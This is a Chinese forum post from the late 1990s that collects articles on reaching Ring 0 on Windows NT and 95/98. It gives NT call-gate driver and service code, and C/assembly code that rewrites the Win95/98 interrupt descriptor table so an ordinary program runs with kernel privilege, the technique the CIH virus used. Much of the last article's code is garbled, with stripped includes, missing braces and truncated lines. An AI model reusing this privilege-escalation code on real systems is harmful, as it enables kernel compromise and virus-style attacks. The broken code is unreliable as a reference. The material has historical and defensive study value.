呵呵,我有cih的代码,先给你贴上一点东西:)
NT和95下分别获得Ring 0权限的方法
--------------------------------------------------------------------------------
NT下如何取到Ring0级执行权(1)
黄飞
98/8
===============================================
这些天几个战友讨论95/98下RING0执行权讨论得热火朝天,
也提出了很好得实现方法.本文就NT下的这个问题进行探讨.RING0意味这什么?
熟悉汇编的朋友很清楚,取到RING0级的执行权,整个OS的
内存将暴露在你的眼皮下,可以直接操纵硬件端口,操纵
系统寄存器...不得了了... :)
NT的保护?
NT是纯的32位OS,MS引以位傲的操作系统,引用了许多VMS.
UNIX等先进操作系统的概念,把自己的核心数据结构,代码
利用INTEL CPU的保护机制"完好"的包了起来.至今我仍未
发现在这方面NT有什么大的漏洞.我下面介绍的技术也有
一定缺陷.
概述:
NT下要使自己的程序在RING0执行,要做一下工作:
(1).写出自己要在RING0执行的代码
(2).写一个NT Driver,提供RING0调用Win32接口
(3).写一个NT Service,提供动态Create.Remove
NT Driver的功能
(4).写自己的调用APP,与Service.Ring0 Code连接.
下面详细介绍各个部分:
1.NT driver部分
即使在NT driver中,NT Driver的封装机制也不让你
透过HAL层去直接操纵硬件,幸运的是,在NT的Kernel
中隐藏着一组GDT操作接口,但是由于MS的XX...
所有这些东东都是未公开的. :(
为此,我做的第一项工作就是挖掘,下面是挖出的金子,
大家共享吧 . :)
// Undocumented DDK
// <begin>
NTSTATUS KeI386AllocateGdtSelectors( OUT PUSHORT SelArray,
IN int NumOfSelectors );
NTSTATUS KeI386ReleaseGdtSelectors( OUT PUSHORT SelArray,
IN int NumOfSelectors );
NTSTATUS KeI386SetGdtSelector( IN ULONG sels, IN PVOID desc );
// ...
// <end>
第3个可是我辛苦了一天的结果,NT不知被我搞死了多少次. :(
参数意义很好懂,看名字就行了.
另外,写过NT Driver的朋友一看就应该知道,这些API都是要在
Driver中才能调用的.我就不罗嗦了. 好了,敲的手都累了,这些天比较忙,只好抽空再写下一部分了.===============================================
Subj: NT下获得RING0的技术(二)黄飞
98/8
===============================================
CALLGATE技术使用:
一个不留神,被感冒病毒袭击了,好在用康太克98杀了一通,总算
暂时喘了口气. :(
这些天老板看的太紧,抽空凑了几个字,各位不要奸笑. :)
OK,上次贴过了关键的3个Undocument API,想想在NT Driver
部分里另外一个要点是CallGate技术应用,下面是CallGate部分
程序原码:
注:我就不详细解释了,定义及使用原理见Matt在95奥秘
一书中的讲解.有兴趣者可以自己看看.
#pragma pack(1)
typedef struct
{
unsigned short limit_0_15;
unsigned short base_0_15;
unsigned char base_16_23;
unsigned char accessed : 1;
unsigned char readable : 1;
unsigned char conforming : 1;
unsigned char code_data : 1;
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;
unsigned char limit_16_19 : 4;
unsigned char unused : 1;
unsigned char always_0 : 1;
unsigned char seg_16_32 : 1;
unsigned char granularity : 1;
unsigned char base_24_31;
} CODE_SEG_DESCRIPTOR;typedef struct
{
unsigned short offset_0_15;
unsigned short selector;
unsigned char param_count : 4;
unsigned char some_bits : 4;
unsigned char type : 4;
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;
unsigned short offset_16_31;
} CALLGATE_DESCRIPTOR;
#pragma pack()
...
ring0_desc.limit_0_15 = 0xFFFF;
ring0_desc.base_0_15 = 0x0000;
ring0_desc.base_16_23 = 0x00;
ring0_desc.accessed = 0;
ring0_desc.readable = 1;
ring0_desc.conforming = 0;
ring0_desc.code_data = 1;
ring0_desc.app_system = 1;
ring0_desc.dpl = 0;
ring0_desc.present = 1;
ring0_desc.limit_16_19 = 0xF;
ring0_desc.unused = 0;
ring0_desc.always_0 = 0;
ring0_desc.seg_16_32 = 1;
ring0_desc.granularity = 1;
ring0_desc.base_24_31 = 0x00;
callgate_desc.offset_16_31 = (USHORT) ((((ULONG)func_address) >> 16) & 0xFFFF);
callgate_desc.offset_0_15 = (USHORT)func_address;
callgate_desc.selector = extension->GdtSelectors[0];
callgate_desc.param_count = Count;
callgate_desc.some_bits = 0;
callgate_desc.type = 0xC;
callgate_desc.app_system = 0;
callgate_desc.dpl = 3;
callgate_desc.present = 1;
...
上面建立了一个RING0 CODE描述符和一个对应的CallGate描述符,
利用他们在加上(1)中介绍的3个Undocumented API,就可以提供一个
后门用以刺入NT的RING0级. ;)2. NT Service部分
NT Service是NT提出的一个新概念(虽然95/98里有雏形),通过一个集中化的
SCM( Service Control Manager )管理各种重要的后台进程,例如RAS,DHCP,
后台打印,网络消息等等,有关Service的详细信息可以在MSDN中找到.
简便期间,我这里把NT Service部分和Win32 APP部分合二为一,省去Interface
部分,直接和RING0 Code连接就行了.当然,实际使用中最好以DLL方式提供Win32
的API接口.
下面是原码:// cgateapp.c
//
#include <windows.h>#define FILE_DEVICE_CALLGATE 0x00008300
#define CALLGATE_IOCTL_INDEX 0x830// DDK micros
#define CTL_CODE( DeviceType, Function, Method, Access ) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) )
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0// Driver control codes
#define IOCTL_CALLGATE_CREATE CTL_CODE( FILE_DEVICE_CALLGATE, METHOD_BUFFERED, FILE_ANY_ACCESS )
...
太长了,接下次吧. :)
===============================================(2) Over.
NT下如何取到Ring0级执行权(3)黄飞
98/8
===============================================
...
#define IOCTL_CALLGATE_RELEASE CTL_CODE( FILE_DEVICE_CALLGATE, CALLGATE_IOCTL_INDEX+1, METHOD_BUFFERED, FILE_ANY_ACCESS )#define STR_DEVICENAME TEXT("callgate")
#define STR_COMPDEVNAME TEXT("\\\\.\\callgate")
#define STR_DRVEXEPATH TEXT("c:\\test\\cgatedrv.sys")VOID CallDriver( HANDLE hDevice );/* Declare the function present in RING0.ASM */
void func(int *cr0, int *cr2, int *cr3);// WinMain function is the entry of the this program
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
    SERVICE_STATUS serviceStatus;
SC_HANDLE        schSCManager    = NULL;
SC_HANDLE schService = NULL;
DWORD err = 0;
HANDLE            hDevice             = NULL;schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
    if( schSCManager == NULL )
    {
        err = GetLastError();
        MessageBox( NULL, "Error OpenSCManager()",
"ERROR", MB_OK );
        return 0;
    }
schService = CreateService( schSCManager,
STR_DEVICENAME,
STR_DEVICENAME,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
STR_DRVEXEPATH,
NULL, 
NULL, 
NULL, 
NULL, 
NULL 
);
if( schService == NULL )
{
err = GetLastError();
if (err == ERROR_SERVICE_EXISTS)
{
            MessageBox( NULL, "Service already exists,
remove it now!", "MESSAGE", MB_OK );
            goto REMOVE_SERVICE;
}
        CloseServiceHandle( schSCManager );
        schSCManager = NULL;
        MessageBox( NULL, "Error CreateService()",
"ERROR", MB_OK );
        return 0;
}
    CloseServiceHandle( schService );
    schService = NULL;schService = OpenService( schSCManager, STR_DEVICENAME,
SERVICE_ALL_ACCESS );
if (schService == NULL)
{
        err = GetLastError();
        MessageBox( NULL, "Error OpenService()",
"ERROR", MB_OK );
        goto REMOVE_SERVICE;
}if( !StartService( schService, 0, NULL ) )
{
        err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING)
MessageBox( NULL, "StartService() already running",
"ERROR", MB_OK );
else
MessageBox( NULL, "Error StartService()",
"ERROR", MB_OK );
        goto REMOVE_SERVICE;
}hDevice = CreateFile( STR_COMPDEVNAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
if( hDevice == ((HANDLE)-1) )
{
MessageBox( NULL, "Can't get device handle", "ERROR", MB_OK );
}
else
{
MessageBox( NULL, "Get device handle OK", "MESSAGE", MB_OK );        CallDriver( hDevice );CloseHandle (hDevice);
}REMOVE_SERVICE:    if( schService == NULL )
    {
        schService = OpenService( schSCManager, STR_DEVICENAME,
SERVICE_ALL_ACCESS );
        if (schService == NULL)
        {
            err = GetLastError();
            CloseServiceHandle( schSCManager );
            schSCManager = NULL;
            MessageBox( NULL, "Error OpenService()",
"ERROR", MB_OK );
            return 0;
        }
    }ControlService( schService, SERVICE_CONTROL_STOP, &serviceStatus );    if( DeleteService( schService ) )
MessageBox( NULL, "DeleteService() OK", "MESSAGE", MB_OK );    if( schService != NULL )
        CloseServiceHandle( schService );
    if( schSCManager != NULL )
        CloseServiceHandle( schSCManager );    UNREFERENCED_PARAMETER( hInstance );
    UNREFERENCED_PARAMETER( lpCmdLine );
    UNREFERENCED_PARAMETER( nCmdShow );
    UNREFERENCED_PARAMETER( hPrevInstance );    return 0;
}VOID CallDriver( HANDLE hDevice )
{
    TCHAR lpIOBuffer[0x0C];
    DWORD dwBytesReturned;
    short    farcall[3];
    int mcr0, mcr2, mcr3;    if( hDevice == NULL )
    {
        MessageBox( NULL, "Error device handle!",
"ERROR", MB_OK );
        return;
    }    memset( lpIOBuffer, 0x00, 0x0C );
    *(PDWORD)lpIOBuffer = (DWORD)func;    if( DeviceIoControl( 
                hDevice,
            IOCTL_CALLGATE_CREATE,
            (LPVOID)lpIOBuffer,
            0x0C,
            (LPVOID)lpIOBuffer,
            0x0C,
            &dwBytesReturned,
            NULL ) == TRUE )
    {
        MessageBox( NULL, "Callgate create OK", "CGATE", MB_OK );        farcall[2] = *(short *)lpIOBuffer;
_asm 
        {
/*Push the parameters required*/
lea esi, mcr3
push esi
lea esi, mcr2
push esi
lea esi, mcr0
push esi/*Make a far call*/
call fword ptr [farcall]
}
    }    if( DeviceIoControl( 
                hDevice,
            IOCTL_CALLGATE_RELEASE,
            (LPVOID)lpIOBuffer,
            0x0C,
            (LPVOID)lpIOBuffer,
            0x0C,
            &dwBytesReturned,
            NULL ) == FALSE )
    {
        MessageBox( NULL, "Free callgate IOCTL error!",
"ERROR", MB_OK );
        return;
    }
}OK,删减了许多东东,总算两次贴完了代码.
下一次可能介绍一个简单的在RING0将要执行的小程序. :)
===============================================(3) Over.
NT下如何取到Ring0级执行权(4)黄飞
98/8
===============================================
现在剩下最后一部分了,将要运行于RING0的代码,下面的代码
是用MASM写的,很简单,直接操纵端口发声和取CR寄存器内容..386
.model small
.code
public _func
_func proc
push ebp
mov ebp, esp;Issues a beep to show that you can do direct port I/O
;Not a good piece of 32-bit code, but still proves the factpushad
mov ax, 1000 
mov bx, 200
mov cx, ax
mov al, 0b6h
out 43h, al
mov dx, 0012h
mov ax, 34dch
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1:
mov ecx, 4680
l2:
loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
popad;Save away the registers which we modify
push esi
push ebx;Get the contents of CR0, CR2, CR3 registers. Check if PDWORDS for holding
;CR0, CR2, CR3 are not NULL
mov esi, [ebp+0Ch]
test esi, esi
jz next
mov ebx, cr0
mov [esi], ebxnext:
mov esi, [ebp+10h]
test esi, esi
jz next1
mov ebx, cr2
mov [esi], ebxnext1:
mov esi, [ebp+14h]
test esi, esi
jz next2
mov ebx, cr3
mov [esi], ebxnext2:
pop esi
pop ebxpop ebpretf 0Ch
_func endp
END注:
1. 上面的RING0代码仅是为证明而用,缺少许多检查点,也没有做
什么实际工作.
2. 实际使用本文介绍技术时,在RING0运行的代码一定要深思熟虑,
因为此时只要你出一点纰漏,NT立刻就死了,搞不好就得重装NT.
3. 本文是我按照一老外思路写的,除RING0的MASM代码外,Driver.Service.
App部分的代码都由我提供.经过删减,提供的例子刚好来介绍这项技术,
如果用于应用,还要做很多事.
4. 由于只有Administrator组成员才可以安装Service,所以只有权限够
高的用户才能运行以上程序,这就造成了一点缺陷,除非找到了破掉NT用户
安全机制的方法.===============================================(4) Over.... Huang Fei
... =========95/98下获得0级优先级的方法win 95/98理论上是保护模式的操作系统,应用程序是运行于
最低优先级3级上,系统运行于最高级0级上,应用程序无法
改变优先级,也就无法破坏系统。
然而,由于95/98为了最好地兼容DOS/16位windows程序,
因此,系统的保护没有完善。
一个最致命的漏洞是IDT(中断描述符表)可以被应用程序
修改。IDT放在了0x80000000-0xc0000000之间,这是所有
程序共享的区域。应用程序只要把中断入口指向自己,然后
调用中断,就可以获得控制权,而且进入了0级优先级。
台湾的win95病毒CIH就采用了这种技术。
sidt IDTable
IDTable是6字节,低字为段界,高双字为基址。
该基址指向中断描述符表。中断描述符每个8字节4字
W0: 低16位偏移量
w1:选择子(一般是0x28,也就是0级优先级)
w2:属性
w3:高16位偏移量CIH采用了int 3中断,首先修改3#中断入口,
然后调用int3.
也可以用6#中断(无效指令异常)
先改6#中断入口,再用一条无效指令,如:LEA EAX, EAX
CPU即自动调用6#中断。进入你的中断入口程序后,段寄存器由中断描述符表项中的选择子
装入,一般是0x28, 这是0级的选择子,也就是最高级的优先级,
这时,你就可以修改系统代码了。当然,不要当机。在NT下,这种技术是不可行的。(想当然)
! Origin: Paradise BBS 天堂资讯二站 TEL: 10-6603-9434 (6:650/24)另外一篇:Win32应用程序跳入系统零层 
众 所 周 知, 在Windows95/98 的Win32 on Intel x86 体 系 中 利 用 了 处 理 器 的 三 环 保 护 模 型 中 的 零 环(Ring0, 最 高 权 限 级 别) 和 三 环(Ring3, 最 低 权 限 级 别)。 一 般 应 用 程 序 都 运 行 在Ring3 下, 受 到 严 格 的" 保 护", 只 能 规 
矩 地 使 用Win32API。 如 果 我 们 想 进 行 一 些 系 统 级 的 操 作, 例 如 在 嵌 入 汇 编 中 使 用 诸 如"Mov EAX,CR0", 或 像 在DOS 下 那 样 调 用 一 些 必 不 可 少 的 系 统 服 务( 如BIOS,DPMI 服 务) 而 用"Int xx", 都 会 导 致" 非 法 操 作"。 但 
这 种 能 力 有 时 是 必 不 可 少 的, 一 到 这 种 时 候Microsoft 就 " 建 议 编 写 一 个VxD"。VxD 大 家 早 有 所 闻 了, 在VxD 里, 不 但 可 以 执 行CPU 的 所 有 指 令, 而 且 可 以 调 用VMM( 虚 拟 机 管 理 器) 和 其 他VxD 提 供 的 上 千 个 系 统 级 服 
务。 获 得 这 一 能 力 的 最 本 质 原 因 在 于 它 运 行 在Ring0, 与 系 统 内 核 同 一 级 别。 但 是 它 体 系 的 复 杂 性、 开 发 工 具 的 不 易 获 得、 帮 助 文 档 的 不 完 备, 使Microsoft 排 除 了 一 大 批 程 序 员 和 竞 争 对 手。 而 将 
在Windows2000(Windows98 也 开 始 支 持) 中 取 代VxD 的WDM 对Win95 程 序 员 也 是 个 噩 梦, 它 需 要 了 解Windows NT 核 心 驱 动 模 型。 ----有 没 有 简 单 一 些 的 办 法 呢 ? 我 们 可 以 令 一 个 普 通Win32 应 用 程 序 运 行 在Ring0 下, 从 而 获 得VxD 的 能 力 吗 ? 答 案 是 肯 定 的。 下 面 我 们 就 简 述 一 下 这 一 技 巧, 有 关Intel x86 保 护 模 式 的 基 础 知 识 请 大 家 看 有 
关 书 籍。 ----首 先 此 技 巧 基 于 以 下 理 论 根 据: ----一、SIDT 指 令( 将 中 断 描 述 符 表 寄 存 器 IDTR - -64 位 宽,16 ~47Bit 存 有 中 断 描 述 符 表IDT 基 地 址 - - 的 内 容 存 入 指 定 地 址 单 元) 不 是 特 权 指 令, 就 是 说 我 们 可 以 在Ring3 下 执 行 该 指 令, 获 得IDT 的 基 地 址, 
从 而 修 改IDT, 增 加 一 个 中 断 门 安 置 我 们 的 中 断 服 务, 一 旦Ring3 程 序 中 产 生 此 中 断,VMM 就 会 调 用 此 中 断 服 务 程 序, 而 此 中 断 服 务 程 序 就 运 行 在Ring0 下 了。 这 一 点 与 在DOS 下 非 常 相 似。 ----二、Windows95 Win32 应 用 程 序 运 行 一 个 映 射 到 全 部4G 内 存 的 段 中, 选 择 子 为0137h,Ring0 中 的VxD 运 行 在 另 一 个 映 射 到 全 部4G 内 存 的 段 中, 选 择 子028h, 这 两 个 段 除 了 选 择 子 决 定 的 访 问 权 限 不 同 外, 没 什 么 不 
同, 各 自 段 中 相 同 的 偏 移 量 对 应 了 相 同 的 线 性 地 址。 所 以 我 们 放 在Win32 应 用 程 序 中 的 中 断 服 务 程 序 可 以 以Ring3 的 段 偏 移 量 被Ring0 中 的VMM 寻 址。 ----下 面 我 们 以 具 体 例 子 进 一 步 说 明, 程 序 中 有 详 细 注 释。 ----这 是 一 个Win32 Console Program( 控 制 台 应 用 程 序), 虽 然 运 行 中 看 起 来 很 像DOS 筐 中 运 行 的 实 模 式DOS 程 序, 但 它 是 货 真 价 实 的 运 行 在Ring3 下 的Win32 程 序。 用Visual C + + 5.0 AppWizard 创 建 一 个Win32 Console Program 
项 目, 添 加 以 下.CPP 文 件, 编 译 即 可。 #include 
#include 
#include 
#include 
// 若 无DDK 带 下 划 线 的 可 略 去, 
这 些 语 句 演 示 了 调 用VMM/VXD 服 务 
DWORDLONG IDTR,SavedGate; 
WORD OurGate[4]={0,0x0028,0xee00,0x0000}; 
// 中 断 门 描 述 符 格 式 如 下: DWORD _eax,_ecx,_cr0; 
WORD vmmver; 
HVM sysvm; void nothing() 

//Used to test call in Ring0 
sysvm=Get_Sys_VM_Handle(); 
} void __declspec( naked ) Ring0Proc(void) 
// 中 断 例 程, 运 行 在Ring0 

_asm{ 
mov _eax,eax // 
mov _ecx,ecx // 
mov eax, CR0 
// 测 试Ring3 中 不 能 执 行 的 特 权 指 令 
mov _cr0,eax // 

VMMCall(Get_VMM_Version); 
// 调 用VMM 服 务 _asm{ 
mov vmmver,ax 

nothing(); 
// 测 试 在 运 行 于Ring0 的 
中 断 例 程 中 调 用 子 
          _asm iretd 
// 中 断 返 回, 与 在 实 模 式 
编 程 无 本 质 区 别 

void main() // 主 程 序 

_asm{ 
mov eax, offset Ring0Proc 
mov [OurGate], ax // 将 中 断 函 数 的 地 址 
shr eax, 16 // 填 入 新 造 的 中 断 门 
mov [OurGate +6], ax // 描 述 符 sidt fword ptr IDTR 
// 将 中 断 描 述 符 表 寄 存 器(IDTR) 
的 内 容 取 出 
mov ebx, dword ptr [IDTR +2] 
// 取 出 中 断 描 述 符 表(IDT) 基 地 址 
add ebx, 8 *9 
// 计 算Int 9 的 描 述 符 应 放 置 的 地 址 选 用 
Int9 是 因 为 它 在Win32 保 护 模 式 下 未 占 用 mov edi, offset SavedGate 
mov esi, ebx 
movsd // 保 存 原 来 的Int 9 描 述 符 到 
movsd //SavedGate 以 便 恢 复 mov edi, ebx 
mov esi, offset OurGate 
movsd // 替 换 原 来 的 中 断 门 描 述 符 
movsd // 以 安 装 中 断 服 务 例 程 mov eax,0x6200 
// 用 以 测 试 放 在EAX 中 的 数 据 
能 否 正 确 传 到Ring0 中 断 
mov ecx,0 
// 用 以 测 试 放 在ECX 中 的 数 据 
能 否 正 确 传 到Ring0 中 断 
mov ecx,0 
// 用 以 测 试 放 在ECX 中 的 数 据 
能 否 正 确 传 到Ring0 中 断 
// 因 为 很 多VxD 服 务 都 用 
此 二 寄 存 器 传 递 参 数 
int 9h 
// 人 为 触 发 中 断, 平 时 会 出 现 
保 护 错 误 蓝 屏 或 非 法 操 
// 作 对 话 框, 现 在 安 装 了 
// 中 断 服 务 例 程 后, 就 会 通 过 
//VMM 在Ring0 调 用 中 断 服 务 例 程 
- -Ring0Proc mov edi, ebx 
mov esi, offset SavedGate 
movsd // 恢 复 原 来 的 中 断 门 描 述 符 
movsd 

cout<<"CR0="<<_cr0< 
运 行 结 果: ----此 方 法 的 好 处 一 是 回 避 了 奇 特 的VxD 
文 件 格 式, 不 用 使 用 汇 编 语 言 编 程, 二 是 应 用 程 序 不 用 带 一 个 单 
独 的VxD 文 件, 干 净 利 索。 
----值 得 一 提 的 是, 许 多 文 章 描 述 著 名 的 
CIH 病 毒 都 说 其 利 用 了VxD 技 术, 是 说 它 带 一 个 单 独 的VxD 文 件 
吗 ? 显 然 不 可 能, 实 际 上CIH 病 毒 使 用 的 就 是 以 上 技 巧, 进 入Ring0 
后 调 用VMM 服 务 分 配 一 块 内 存, 把 自 身 拷 贝 进 去, 然 后 用IFS VxD 的 
IFSMgr_InstallFileSystemApiHook 服 务 安 装 文 件 系 统 监 视 以 感 染 其 他 文 
件, 只 不 过CIH 病 毒 安 装 的 是Int 3 中 断, 这 跟 在DOS 下 没 什 么 两 样。 
我 们 也 可 以 对 此 了 解 以 更 好 地 防 范CIH 病 毒。 
----最 后 还 要 指 出 其 缺 陷, 这 个 技 巧 仅 能 用 
在Windows95/97/98 下, 在Windows NT 下 行 不 通。 不 过 听 说CIH 病 毒 的 作 者 
已 经 开 发 了NT 版 的CIH 病 毒, 说 明NT 中 也 有 类 似 的" 后 门"。